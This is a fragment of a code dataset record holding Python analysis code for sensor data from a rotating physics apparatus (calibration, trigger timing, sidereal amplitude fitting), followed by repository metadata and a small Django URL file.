if rec is not None:\\n dat=self.splitRecArray(rec)\\n dat[1]=dat[1].squeeze()\\n if self.calOverride is None:\\n calArr=self.calArr\\n dat[1]=dat[1]*MT.const_interp(dat[0], calArr.t, calArr.val)\\n else:\\n dat[1]=dat[1]*self.calOverride\\n #dat[1]=self.cal*dat[1]\\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\\n dat[0]=dat[0][startI:endI]\\n dat[1]=dat[1][startI:endI]\\n else:\\n return None\\n return dat\\n\\n @cached_property(ttl=ttl)\\n def trigTimes(self):\\n if self.fastD: #prefer to make triggers with the fast data if it's available\\n t=self.rawData().t#fastD[0]\\n elif self.medD:\\n t=self.medD[0]\\n elif self.relD:\\n t=self.relD[0]\\n else:\\n return None\\n trigs= makeTriggers(t, self.rSpec, bIncludeExtraRot=True);\\n #if self.set_info.has_key('skipFirstTrigger') and self.set_info['skipFirstTrigger']==True:\\n # trigs=trigs[:,1:]\\n gdTrigMask=ones(self.rSpec.numRotations, dtype=bool) \\n gdTrigMask[self.dropTriggerIs]=0\\n gdSeqMask=ones(trigs.shape[0], dtype=bool); gdSeqMask[self.skipSeqIs]=0\\n trigs=trigs[gdSeqMask]\\n trigs=trigs[:,gdTrigMask]\\n return trigs\\n\\n @cached_property(ttl=ttl)\\n def apparatusRotations(self):\\n gdTrigMask=ones(self.rSpec.numRotations, dtype=bool) \\n gdTrigMask[self.dropTriggerIs]=0\\n return getRotationsFromRSpec(self.rSpec, self.trigTimes.shape[0])[:,gdTrigMask]/180.*pi\\n @cached_property(ttl=0)\\n def apparatusAngles(self):\\n gdTrigMask=ones(self.rSpec.numRotations, dtype=bool) \\n gdTrigMask[self.dropTriggerIs]=0\\n return getAnglesFromRSpec(self.rSpec, self.trigTimes.shape[0])[:,gdTrigMask]/180.*pi\\n\\n @cached_property(ttl=0)\\n def zeroingD(self):\\n zeroD= loadSPFiles.loadZeroFile('{0}{1} Zeroing List.asc'.format(self.base_dir, self.base_name))\\n return zeroD\\n \\n def cBzCal(self):\\n dat=loadtxt('{0}{1} Zeroing z1 Calibrations.asc'.format(self.base_dir, self.base_name)).T\\n typ= namedtuple('z1CalData', ['t', 'val'])\\n return typ(t= dat[0], val=dat[1])\\n \\n @property\\n def calArr(self, process=None):\\n calArr=self.zeroingD['Cal']\\n if calArr.t.size>1 and process=='average':\\n cal=(diff(calArr.t)*calArr.val[:-1]).sum()/diff(calArr.t).sum() \\n #cal=(diff(calArr.t)*calArr.val[:-1]).sum()/diff(calArr.t).sum() # A rough time-average. diff(t)*sum(vals)/sum(diff(t))\\n elif process is None:\\n if calArr.t.size>1:\\n cal=calArr\\n elif calArr.t.size==1:\\n #cal=calArr.val[0]\\n print(\\\"only one Bx callibration, maybe that's a problem\\\")\\n cal=calArr\\n else:\\n print(\\\"no Bx callibration found for timestamp {0}? Using coarse-bz calibration instead\\\".format(self.timestamp))\\n cal = self.cBzCal()\\n #vprint(\\\"Callibration is {0}\\\".format(cal))\\n return cal\\n\\n def pol(self, t=None):\\n polTup=self.zeroingD['Pol']\\n tmeas=polTup.t\\n if t is None:\\n return tmeas, polTup.val\\n else:\\n pol=interp(t, tmeas, polTup.val)\\n return pol\\n\\n def getSensorData(self, nameL):\\n return [getRawByName(name) for name in nameL]\\n def getRawByName(self, name):\\n ''' Names should be of the form \\\"med:Total Position Sensor 1\\\" etc\\n '''\\n if name=='sig':\\n return self.rawData()\\n setSt, nameSt=name.split(':')\\n data_set=self.__getattribute__(self.setNameD[setSt])\\n if data_set is None:\\n vprint(\\\"No data for {0}\\\".format(name))\\n return None\\n nameL=data_set[2]\\n\\n if nameSt not in nameL:\\n raise ValueError(\\\"Requested name '{0}' is not in the list of '{1}' sensors\\\".format(nameSt, setSt))\\n I=nameL.index(nameSt)\\n return RawData(t=data_set[0], sig=data_set[1][I])\\n \\n def rawData(self, rawData=None, **kwargs):\\n if isinstance(rawData, RawData):\\n rawData=rawData\\n elif rawData==None:\\n rawData=RawData(self.fastD[0], self.fastD[1])\\n elif isinstance(rawData, str): #Load a data set according to the string\\n rawData=self.getRawByName(rawData)\\n if rawData is None:\\n return\\n\\n goodMask=ones(rawData.t.size, dtype=bool)\\n if self.badTimes and not hasattr(self.badTimes[0], '__iter__'):\\n self.badTimes=[self.badTimes]\\n for interval in self.badTimes: \\n if interval[1]==-1:\\n interval[1]=inf\\n Istart, Istop=rawData.t.searchsorted(interval)\\n goodMask[Istart:Istop]=False\\n\\n rawData= RawData(*[p[goodMask] for p in rawData])\\n #.sig[~goodMask]\\n self.clearRaw()\\n return rawData\\n #return RawData(t=rawData.t[goodMask], sig=rawData.sig[goodMask])\\n\\n #Processing 0\\n @memoize_inst_meth\\n def cutAmp(self, sigWindow=None, cutSensSubL=[], addFakeD=None, **kwargs):\\n if sigWindow==None:\\n if not self.windowD.has_key('sig'):\\n raise ValueError(\\\"No signal window was given, and there's no default for this set (check set_info file)\\\")\\n sigWindow=self.windowD['sig'] # if no sigWindow is given, assume there's a default one for this dataset\\n elif isinstance(sigWindow, basestring):\\n sigWindow=self.windowD[sigWindow]\\n vprint(\\\"Calculating cut amplitudes\\\")\\n cutAmp= spf.preprocess_raw(self.rawData(**kwargs), self.trigTimes, sigWindow)\\n if cutSensSubL:\\n sensCutAmpL=[self.cutAmp(rawData=name) for name in cutSensSubL]\\n if addFakeD is not None:\\n cutAmp=spf.addFakeData(cutAmp, self.apparatusAngles, self.trigTimes, **addFakeD)\\n return cutAmp\\n #return RawData(rawT, rawSig)\\n\\n @memoize_inst_meth\\n def filteredCutAmp(self, sensNameL=None, **kwargs):\\n if sensNameL is None:\\n if self.set_info.has_key('sensorFilt'):\\n sensNameL=self.set_info['sensorFilt']\\n else:\\n sensNameL=[]\\n\\n rem_args, work_args=divide_args(kwargs, spf.filterBySensors)\\n D=copy(kwargs)\\n if D.has_key('rawData'):\\n D.pop('rawData')\\n if D.has_key('sensNameL'):\\n D.pop('sensNameL')\\n cutSensorAmps=[self.pointAmp(rawData=name, **D) for name in sensNameL]\\n return spf.filterBySensors(self.cutAmp(**rem_args), sensDataL=cutSensorAmps, **work_args)\\n \\n @memoize_inst_meth\\n def seqAmpFitSplit(self, addFakeD=None, **kwargs):\\n \\\"\\\"\\\"Assume it's a continuously rotating sample.\\n \\\"\\\"\\\"\\n rem_args, work_args=divide_args(kwargs, spf.process_continuous_raw)\\n rawSig=self.rawData(**rem_args)\\n if addFakeD is not None:\\n rawSig=spf.addFakeData(rawSig, rotationRate=self.set_info['rotationRate'], **addFakeD)\\n\\n rawRef=self.rawData('med:Fluxgate Z')\\n if self.set_info.has_key('rotationRate'):\\n rotationRate=float(self.set_info['rotationRate'])\\n else:\\n print(\\\"WARNING:No ration rate in set_info. We'll guess it's -0.03, but if it's not then the answers will be wrong!!\\\")\\n rotationRate=-0.03\\n seqAmp=spf.process_continuous_raw(rawSig, rawRef, rotationRate) \\n return seqAmp\\n\\n #Processing 1\\n @memoize_inst_meth\\n def pointAmp(self, **kwargs):\\n vprint(\\\"Calculating point amplitudes\\\")\\n if self.set_info.has_key('continuousRotation') and self.set_info['continuousRotation']==True:\\n Nds=250\\n rAmp=self.rawData(**kwargs)\\n ptVals, ptErr= MT.downsample_npts(rAmp.sig, Nds, bRetErr=True)\\n ptT=MT.downsample_npts(rAmp.t, Nds)\\n return PointData(t=ptT, sig=ptVals,err=ptErr/sqrt(Nds), theta=None, chi2=None)\\n #return PointData(t=zeros(0), sig=zeros(0),err=zeros(0), theta=zeros(0), chi2=zeros(0))\\n rem_args, work_args=divide_args(kwargs, spf.process_raw)\\n #pointAmp= spf.process_raw(self.filteredCutAmp(**rem_args), **work_args)\\n pointAmp= spf.process_raw(self.cutAmp(**rem_args), **work_args)\\n pointAmp=pointAmp._replace(theta=self.apparatusAngles)\\n return pointAmp\\n\\n #Processing 2\\n @memoize_inst_meth\\n def sequenceAmp(self, bRemoveZerothRotation=True, subtractWindow=None,genSeqFiltF=None, seqSensSubL=[], **kwargs):\\n vprint(\\\"Calculating sequence amplitudes\\\")\\n if self.set_info.has_key('continuousRotation') and self.set_info['continuousRotation']==True:\\n seqAmp=self.seqAmpFitSplit(**kwargs)\\n else: #stop-start manner\\n rem_args, work_args=divide_args(kwargs, spf.process_points)\\n pointAmp=self.pointAmp(**rem_args)\\n cutAmp=self.filteredCutAmp(**rem_args)\\n\\n if bRemoveZerothRotation:\\n pointAmp=PointData(*[arr.take(r_[1:arr.shape[-1]], axis=-1) if arr is not None else None for arr in pointAmp])\\n cutAmp=RawData(*[arr.take(r_[1:arr.shape[-1]], axis=-1) if arr is not None else None for arr in cutAmp])\\n\\n seqAmp=spf.process_points(self.apparatusAngles, pointAmp, cutAmp, **work_args)\\n if subtractWindow:\\n vprint('subtracting window \\\"{}\\\"'.format(subtractWindow))\\n D=copy(rem_args)\\n D.update({'sigWindow':subtractWindow})\\n refAmp=self.sequenceAmp(**D)\\n seqAmp.sig[:]-=refAmp.sig\\n\\n if seqSensSubL:\\n sensSeqAmpL=[self.sequenceAmp(rawData=name) for name in seqSensSubL]\\n sensSeqAmpL=[CorrelationData(*[par[:,0,1] for par in sAmp]) for sAmp in sensSeqAmpL]\\n sub1HAmp=spf.subtract_correlations(CorrelationData(*[par[:,0,1] for par in seqAmp]), sensSeqAmpL)\\n seqAmp.sig[:,0,1]=sub1HAmp.sig\\n\\n if genSeqFiltF: #General filter on the sequences\\n seqAmp=genSeqFiltF(self, seqAmp)\\n\\n\\n return seqAmp\\n\\n #Processing 3\\n @memoize_inst_meth\\n def labAmp(self, filtF=None, **kwargs):\\n vprint(\\\"Calculating lab-frame amplitudes\\\")\\n rem_args, work_args=divide_args(kwargs, spf.process_sequences)\\n seqAmp=self.sequenceAmp(**rem_args)\\n if filtF:\\n seqAmp=filtF(seqAmp)\\n labAmp, sidAmp= spf.process_sequences(seqAmp)\\n return labAmp\\n #return spf.split_and_process_sequences(seqAmp, **work_args)\\n\\n #Processing 3\\n @memoize_inst_meth\\n def sidAmp(self, filtF=None, coFitL=[], coFitPhaseVaryIs=[], subtractHarmsL=[], harmonic=1, **kwargs):\\n h=harmonic-1\\n vprint(\\\"Calculating sidereal amplitudes\\\")\\n rem_args, work_args=divide_args(kwargs, spf.process_sequences_multifit)\\n seqAmp=self.sequenceAmp(**rem_args)\\n\\n #This will be used for the actual processing\\n #seqAmp, sensSeqAmpL,\\n sensSeqAmpL=[self.sequenceAmp(rawData=name, **rem_args) for name in coFitL]\\n\\n #Apply the filtering function\\n if filtF: #Use some sub-set of the sequences\\n seqAmp=filtF(seqAmp)\\n if not seqAmp:\\n return None\\n sensSeqAmpL=zip(*[filtF(sensAmp) for sensAmp in sensSeqAmpL])\\n if not sensSeqAmpL:\\n sensSeqAmpL=len(seqAmp)*[[]] #Make it a list of empty lists\\n\\n # Now seqAmp and sensSeqAmpL may be lists (or lists of lists)\\n # But if they're not, we'll make sure they are\\n if hasattr(seqAmp, 't'):\\n seqAmp=[seqAmp]\\n if sensSeqAmpL==[]:\\n sensSeqAmpL=[sensSeqAmpL]\\n \\n \\n\\n if kwargs.has_key('bFitOldWay'):\\n work_func=partial(spf.process_sequences)\\n labAmp, sidAmp= zip(*[work_func(seqA) for seqA in seqAmp if seqA is not None])\\n elif seqAmp:\\n work_func=partial(spf.process_sequences_multifit, \\n sigSensVaryPhaseIs=coFitPhaseVaryIs, \\n subtractHarmsL=subtractHarmsL,harmonic=harmonic, \\n **work_args)\\n labAmp, sidAmp, _,fObj= zip(*[work_func(seqA, sensAL)[:4] \\n for seqA, sensAL in zip(seqAmp, sensSeqAmpL) \\n if seqA is not None])\\n else:\\n print(\\\"Nothing at timestamp {0}\\\".format(self.timestamp))\\n return None\\n if len(sidAmp)==1:\\n labAmp=labAmp[0]\\n sidAmp=sidAmp[0]\\n fObj=fObj[0]\\n\\n #return labAmp, sidAmp#, fObj\\n return sidAmp#, sidAmp\\n \\n #return spf.split_and_process_sequences(seqAmp, **work_args)\\n\\n def viewSensors(self, sensorNames, bSharex=False, bPlotStChi2Comp=True, **kwargs):\\n if sensorNames=='med':\\n sensorNames=['med:'+ name for name in loadSPFiles.mediumNames]\\n elif sensorNames=='rel':\\n sensorNames=['rel:'+ name for name in loadSPFiles.relaxedNames]\\n elif sensorNames=='all':\\n sensorNames=['rel:'+ name for name in loadSPFiles.relaxedNames]\\n sensorNames.extend(['med:'+ name for name in loadSPFiles.mediumNames])\\n self.viewSeq(rawData=sensorNames[0], figName=sensorNames[0], stPtChi2Lim=5, **kwargs)\\n ax=gca()\\n figL=[gcf()]\\n if bSharex==True:\\n sharex= ax \\n else: \\n sharex=None;\\n vprint(\\\"sharex: {}\\\".format(sharex))\\n for name in sensorNames[1:]:\\n self.viewSeq(rawData=name, figName=name, sharexAx=sharex, **kwargs)\\n figL.append(gcf())\\n return figL\\n\\n def viewRaw(self, figName=\\\"\\\", **kwargs):\\n if kwargs.has_key('sigWindow'):\\n cutAmpL=[self.cutAmp(**kwargs)]\\n windowNames=['sig']\\n else:\\n windowNames, cutAmpL=zip(*[(key, self.cutAmp(sigWindow= win, **kwargs)) for key, win in self.windowD.items()])\\n spf.view_raw(self.rawData(**kwargs), cutAmpL, self.trigTimes, cutAmpLNames=windowNames, figName=self.timestamp+'- '+figName) \\n\\n def viewSeq(self, figName=\\\"\\\", sharexAx=None, bPlotStChi2Comp=True, **kwargs):\\n if kwargs.has_key('sigWindow'):# and isinstance(kwargs['sigWindow'], basestring):\\n figName +='- ({})'.format(kwargs['sigWindow'])\\n correlationSigComp=None\\n if bPlotStChi2Comp is not None:\\n d=copy(kwargs); d['stPtChi2Lim']=inf;\\n correlationSigComp=self.sequenceAmp(**d)\\n spf.view_correlations(self.pointAmp(**kwargs), self.sequenceAmp(**kwargs), self.timestamp+'- '+figName, sharexAx=sharexAx, correlationSigComp=correlationSigComp.sig)\\n\\n def viewSid(self, **kwargs):\\n #spf.view_sidereal(self.sequenceAmp(**kwargs), self.sidAmp(**kwargs))\\n sidAmp=self.sidAmp(**kwargs)\\n seqAmp=self.sequenceAmp(**kwargs)\\n labAmp=self.labAmp(**kwargs)\\n spf.view_sidereal(seqAmp, sidAmp, labAmp)\\n\\n def viewCorrelationFilt(self, **kwargs):\\n D=copy(kwargs)\\n D.update(dict(sensNameL=[], stPtChi2Lim=inf))\\n pointAmpBase=self.pointAmp(**D)\\n seqAmpBase=self.sequenceAmp(**D)\\n\\n pointAmpFilt=self.pointAmp(**kwargs)\\n seqAmpFilt=self.sequenceAmp(**kwargs)\\n spf.view_correlation_filtering(pointAmpBase, seqAmpBase,\\n pointAmpFilt, seqAmpFilt)\\n\\n def edit_set_info(self):\\n MT.open_file_external(os.path.join(self.base_dir, 'set_info.yaml'))\\n @memoize_inst_meth\\n def test_div(self, **kwargs):\\n kwargs, kept_args=divide_args(kwargs, self.pointAmp)\\n return kwargs, kept_args\\n\\n def checkDirections(self, bPlot=False, **kwargs):\\n \\\"\\\"\\\"Check that the calculated apparatus directions fit with the available data\\n \\n To do this we'll check the North position sensor, the motor trigger-log, and the Z-axis flux-gate, if available\\n \\\"\\\"\\\"\\n #Flux-gates\\n expTh, expSig = [0, pi/2], [ 0.018, -0.045]\\n if self.set_info.has_key('bFieldZeroed') and self.set_info['bFieldZeroed'] is False:\\n expTh, expSig = [0, pi/2], [ 0.02, -0.08]\\n zCor=self.sequenceAmp(rawData='med:Fluxgate Z', **kwargs)\\n actSig=zCor.sig[:,0,:]\\n actTh=zCor.theta[:,0,:]\\n expRot=array([MT.rotate_quadrature_sample(expTh, expSig, cov=None, rotateTo=-th[0])[1] for th in actTh])\\n I=~isnan(actSig)\\n gSig=actSig[I]\\n gExp=expRot[I]\\n\\n bProblem=False\\n if any(abs(gExp-gSig)>0.01):\\n vprint(\\\"Fluxgate Z show's problems! (timestamp: {0})\\\".format(self.timestamp))\\n bProblem=True\\n\\n if bProblem or bPlot:\\n figure(self.timestamp+'- direction check')\\n gT=zCor.t[:,0,:][I]\\n plot(gT, gSig, '.', label='Measured')\\n plot(gT, gExp,'.', label='Expected')\\n plot(gT, gExp-gSig,'.', label='difference')\\n xlabel('Sid. Days')\\n ylabel('V')\\n legend(fontsize=10)\\n\\n\\n # North-positon sensor\\n try:\\n if self.rawData().t[0] < 5200: #(Or whenever the sidereal day the sensor was actually switched?)\\n\\n npsDat=self.rawData(rawData='med:North Position Sensor') #(or whatever it actually was)\\n else:\\n npsDat=self.rawData(rawData='motor:North Position Sensor') #(or whatever it actually was)\\n except (OSError, ValueError):\\n npsDat=None\\n\\n if npsDat is not None:\\n tNorthSens=npsDat.t[npsDat.sig<4]\\n\\n ang=(self.apparatusAngles()-pi)%(2*pi) + pi #Move everything to the range (-pi, +pi)\\n tRot=self.trigTimes()\\n tBound=c_[tRot[:-1], tRot[:-1]+self.rSpec.interval].ravel()\\n angBound=c_[ang[:-1], ang[1:]].ravel()\\n\\n apAngleIntp=interp(npsDat.t, tBound, angBound) #Interpolate to the same times as the north-sensor is had\\n\\n figure('Check North-position sensor:')\\n plot(npsDat.t, apAngleIntp)\\n plot(npsDat.t, npsDat.sig)\\n else:\\n vprint(\\\"No north-position sensor data for checking\\\")\\n \\n \\n # Motor trigger-log\\n\\n return\\n#------------------------------------------------------------------------------\\n\\n## Processing functions\\ndef genSeqFiltPol(sgn): \\n def genSeqFilt(ds, seqAmp):\\n ts=seqAmp.t[:,0,0]\\n calArr=ds.calArr\\n cal=MT.const_interp(ts, calArr.t, calArr.val)\\n seqAmp.sig[sign(cal)!=sgn]*=nan\\n return seqAmp\\n return genSeqFilt\\n\\n\\ndef seqFiltFuncAxisInterleave(axisAngle, Ndiv):\\n def filt(seqAmp):\\n return seqFiltFuncInterleave(Ndiv)((seqFiltFuncAxis(sgn)(seqAmp)))\\n return filt\\n#genSeqFiltPol(1)(seqAmp)\\n\\ndef seqFiltFuncAxis(axisAngle):\\n def filt(seqAmp):\\n mask= (nearby_angles(seqAmp.theta[:,0,0], axisAngle, 0.1) |\\n nearby_angles(seqAmp.theta[:,0,0], axisAngle+pi,0.1) \\n )\\n return CorrelationData(*[s[mask] for s in seqAmp])\\n return filt\\n\\ndef seqFiltFunc2Axes(axisAngle):\\n def filt(seqAmp):\\n mask= (nearby_angles(seqAmp.theta[:,0,0], axisAngle, 0.1) | \\n nearby_angles(seqAmp.theta[:,0,0], axisAngle+pi,0.1) |\\n nearby_angles(seqAmp.theta[:,0,0], axisAngle+pi/2,0.1) |\\n nearby_angles(seqAmp.theta[:,0,0], axisAngle+3*pi/2,0.1) \\n )\\n return CorrelationData(*[s[mask] for s in seqAmp])\\n return filt\\ndef seqFiltFuncAngle(angle):\\n def filt(seqAmp):\\n mask= nearby_angles(seqAmp.theta[:,0,0], angle, 0.1)\\n return CorrelationData(*[s[mask] for s in seqAmp])\\n return filt\\n\\ndef seqFiltFuncSlc(slc):\\n def filt(seqAmp):\\n return CorrelationData(*[s[slc] for s in seqAmp])\\n return filt\\n\\n\\ndef seqFiltFuncInterleave(Ndiv):\\n #slcL=[slice(k,None, Ndiv) for k in range(Ndiv)]\\n def filt(seqAmp):\\n Npts=seqAmp.t.shape[0]\\n if Npts < 5*Ndiv:\\n N = int(seqAmp.t.shape[0]/5)\\n else:\\n N=Ndiv\\n Npts=floor(Npts/Ndiv)*Ndiv\\n return [CorrelationData(*[s[k-Npts::N] for s in seqAmp]) for k in range(N)]\\n return filt\\n\\ndef seqFiltFuncInterleaveGenerator(otherFiltF, Ndiv=10):\\n #slcL=[slice(k,None, Ndiv) for k in range(Ndiv)]\\n def filt(seqAmp, k):\\n Npts=seqAmp.t.shape[0]\\n if Npts < 5*Ndiv:\\n N = int(seqAmp.t.shape[0]/5)\\n else:\\n N=Ndiv\\n Npts=floor(Npts/Ndiv)*Ndiv\\n if k>=N:\\n return None\\n return otherFiltF(CorrelationData(*[s[k-Npts::N] for s in seqAmp]))\\n\\n for k in range(Ndiv):\\n #f=partial(filt, k=N)\\n yield partial(filt, k=k)\\n\\ndef seqFiltFuncTime(Tdiv=1): #Divid it up into small chunks of time and process each\\n def filt(seqAmp):\\n totalTime=seqAmp.t[-1,0,0]-seqAmp.t[0,0,0]\\n t0=seqAmp.t[0,0,0]\\n N=floor(totalTime/Tdiv)\\n startTimes=arange(N)*Tdiv + t0\\n indxL=sliceSorted(seqAmp.t[:,0,0], startTimes, delta_t=Tdiv)\\n return [CorrelationData(*[s[indx] for s in seqAmp]) for indx in indxL]\\n return filt\\n\\ndef checkDSUnc(ds, Ndiv=10, **kwargs):\\n #Process every Nth sequence:\\n #fL=[seqFiltFuncSlc(slice(k,None, Ndiv)) for k in range(Ndiv)]\\n #sidAmpL=[ds.sidAmp(filtF=f) for f in fL]\\n sidAmpL=ds.sidAmp(seqFiltFuncInterleave(Ndiv), **kwargs)\\n #sidAmpL=ds.sidAmp(filtF=seqFiltFuncTime(Tdiv=0.3))\\n #wtMn, calcedUnc, apparentUnc, wtErr= spf.combine_angle_amps(sidAmpL, plot=True)\\n combinedSid= spf.combine_angle_amps(sidAmpL, plot=True)\\n\\n #Probably don't need to rotate in this case, but just in case\\n\\n sidAmpFull=ds.sidAmp(**kwargs)\\n print(\\\"Number of sets: {0}\\\".format(len(sidAmpL)))\\n pprint(combinedSid)\\n pprint(sidAmpFull)\\n #print(\\\"Subset deviation: {}, combined Mean:{}\\\\n, combined unc (trust/don't trust): {}, {},\\\\n full mean:{}, full uncert {}\\\".format(wtErr, wtMn,\\n #calcedUnc, apparentUnc, \\n #sidAmpFull.sig, sqrt(sidAmpFull.err.diagonal())) )\\n\\n show()\\n\\ndef testDS(rSpec=None, rotFact=1, **kwargs):\\n defaultD=dict(amp=0.05, sigma=2, amp2=0.00, \\n N=10000000, phi=0*pi, \\n zeroingTime=30, fracDev=0.00, \\n sizeDev=50.0, startTime=0)\\n defaultD.update(kwargs)\\n rsBase=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[rotFact*180], extraRotAngle=rotFact*90)\\n rSpec= rSpec if rSpec is not None else rsBase\\n sd,sig=makeTestData(\\n rSpec, **defaultD)\\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec, windowD={'sig': Window(5, -6)} )\\n return ds\\n\\ndef testDS2(rSpec=None, rotDir=1, **kwargs):\\n defaultD=dict(amp=0.5, sigma=1.0, amp2=0.0, \\n N=1000000, phi=0.25*pi, \\n zeroingTime=30, fracDev=0.00, \\n sizeDev=00.0, startTime=0)\\n defaultD.update(kwargs)\\n rsBase=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=8, rotAngles=[rotDir*90], extraRotAngle=rotDir*45)\\n rSpec= rSpec if rSpec is not None else rsBase\\n sd,sig=makeTestData(\\n rSpec, **defaultD)\\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec, windowD={'sig': Window(5, -6)} )\\n return ds\\n\\nif __name__==\\\"__main__\\\":\\n d=dict(sigWindow=Window(4,-5))\\n if 0:\\n sidAmpL=[]\\n if 0: # Check theoretical\\n rsBase=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\\n rsL=[rsBase._replace(startingAngle=th) for th in hstack([zeros(15), -ones(0)*90, ones(0)*45])]\\n for rs, startTime in zip(rsL, 0.2*arange(len(rsL))):\\n sd,sig=makeTestData(\\n rs, amp=1.00, sigma=2, N=400000, phi=0*pi, zeroingTime=30, fracDev=0.05, sizeDev=50.0, startTime=startTime*1)\\n\\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rs )\\n sAmp=ds.sidAmp(sigWindow=Window(4,-5))\\n vprint(sAmp)\\n sidAmpL.append(sAmp)\\n elif 0: #Check slicing\\n ds=testDS()\\n checkDSUnc(ds, 30)\\n #sAmp=ds.sidAmp(sigWindow=Window(4,-5))\\n #vprint sAmp\\n\\n \\n #EW-NS\\n #sidAmpAngsL=[ds.sidAmp(sigWindow=Window(4,-5), filtF=seqFiltFuncAxis(ang)) for ang in (0, pi/2)]\\n #sidAmpL=sidAmpSlcsL\\n\\n\\n \\n\\n\\n\\n else: #Check actual data\\n timestampL=[\\n #'5209.26',\\n #'5240.33',\\n '5249.72',\\n '5273.74',\\n '5282.23',\\n '5292.71',\\n '5294.31',\\n #'5296.33',\\n '5310.41',\\n '5318.41',\\n '5348.82',\\n '5369.87',\\n '5386.02',\\n '5390.74',\\n ]\\n for ts in timestampL:\\n #try:\\n ds=SPDataSet(ts)#, preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec )\\n ds.checkDirections()\\n show()\\n sAmp=ds.sidAmp()\\n vprint(sAmp)\\n sidAmpL.append(sAmp)\\n #except Exception as (errno, strerror):\\n # vprint \\\"Exception({0}): {1}\\\".format(errno, strerror)\\n # vprint(\\\"For timestamp: {0}\\\".format(ts))\\n #pass; #Print the error and say which set it was, but keep going.\\n \\n ts = [ sAmp.t for sAmp in sidAmpL]\\n (ths, ys, covs)= zip(*[ rotate_quadrature_sample(sAmp.labTheta, sAmp.sig, sAmp.err) for sAmp in sidAmpL])\\n #ys, covs= [ ]\\n\\n ys=array(ys)\\n errs=array([sqrt(cov.diagonal()) for cov in covs])\\n ts=array(ts)\\n #errs=[diag(cov) for cov in covs]\\n figure()\\n for t, y, e in zip(ts.T, ys.T, errs.T):\\n errorbar( t, y, e, fmt='.') #Probaby not quite right\\n\\n mn, wEr, unc= weightedStats(ys, 1./errs**2, axis=0)\\n vprint(\\\"Subset deviation: {0}, (average errorbar):{1},\\\\nmean: {2},, (from subsets): {3}, final uncert: (full){4}\\\".format(er, errs.mean(axis=0), mn, unc, None) )\\n show()\\n\\n \\n \\n #seqAxNSFilt= seqFiltFuncAxis(0);\\n #seqAxEWFilt= seqFiltFuncAxis(pi/2);\\n if 0: #Do idiot checks on experiment data\\n timestampL=[\\n #'5310.41',\\n '5318.42',\\n #'5348.82',\\n #'5369.87',\\n #'5386.02',\\n #'5390.74',\\n #'5393.04',\\n ]\\n \\n for ts in timestampL:\\n ds=SPDataSet(ts)\\n ds.checkDirections(bPlot=True)\\n show()\\n ds.edit_set_info()\\n raw_input('enter to continue')\\n #ds.checkDirections(**d)\\n #SPDataSet('5386.02').checkDirections(**d)\\n #SPDataSet('5310.41').checkDirections(**d)\\n #SPDataSet('5348.82').checkDirections(**d)\\n #SPDataSet('5369.87').checkDirections(**d)\\n if 0:\\n for ts in loadSPFiles.getAllTimeStamps():\\n if float(ts)>5310:\\n ds=SPDataSet(ts)\\n if ds.set_info['bUseful']=='unknown' or 1:\\n st=''\\n while st!='c':\\n vprint(\\\"Current timestamp is: {0}\\\".format(ts))\\n ds.edit_set_info()\\n #ds.viewRaw()\\n ds.viewSeq()\\n ds.viewSeq(rawData='rel:Tilt Sensor 1')\\n ds.checkDirections()\\n #ds.viewSeq()\\n #try:\\n # ds.checkDirections()\\n #except Exception as ex:\\n # vprint (\\\"Exception occured: {0}\\\".format(ex))\\n show()\\n st=raw_input('Enter for again, c+enter to continue to next')\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":44,"string":"44"}}},{"rowIdx":2978358,"cells":{"repo_name":{"kind":"string","value":"herougo/QuestionBank"},"repo_url":{"kind":"string","value":"https://github.com/herougo/QuestionBank"},"snapshot_id":{"kind":"string","value":"43a1be58349064060847a425a263713acac16ad5"},"revision_id":{"kind":"string","value":"70f145a2d939f57fc2d0d4251c8ed14557329fed"},"directory_id":{"kind":"string","value":"0f02479063a1964892d6bd697e5194c51436d326"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-25T07:27:44.379957","string":"2021-01-25T07:27:44.379957"},"revision_date":{"kind":"timestamp","value":"2014-12-19T17:37:00","string":"2014-12-19T17:37:00"},"committer_date":{"kind":"timestamp","value":"2014-12-19T17:37:00","string":"2014-12-19T17:37:00"},"github_id":{"kind":"number","value":28192056,"string":"28,192,056"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":3,"string":"3"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2014-12-18T16:43:11","string":"2014-12-18T16:43:11"},"gha_updated_at":{"kind":"timestamp","value":"2014-12-18T16:43:11","string":"2014-12-18T16:43:11"},"gha_pushed_at":{"kind":"timestamp","value":"2014-12-19T17:35:03","string":"2014-12-19T17:35:03"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6487804651260376,"alphanum_fraction":0.6585366129875183,"avg_line_length":28.428571701049805,"blob_id":"2ee4af909695c9199f45a32d534bf76a6c0cce25","content_id":"a553d1074b5660ba8fe1c91cecac09fb1b91c463","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":205,"license_type":"no_license","max_line_length":84,"num_lines":7,"path":"/lessons/urls.py","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"from django.conf.urls import url\nfrom lessons import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^(?P<lesson_id>[0-9]+)/$', views.lesson_template, name='lesson_template'),\n]"},{"alpha_fraction":0.653333306312561,"alphanum_fraction":0.653333306312561,"avg_line_length":17.75,"blob_id":"102b8250fe8bf06a08cb472305c437a9c8944e23","content_id":"11adff2f9998359bdc112857db0a95a5e3f04de7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":75,"license_type":"no_license","max_line_length":38,"num_lines":4,"path":"/questions/static/js/main.js","repo_name":"herougo/QuestionBank","src_encoding":"UTF-8","text":"$(document).ready(function() {\n // Add document functionality 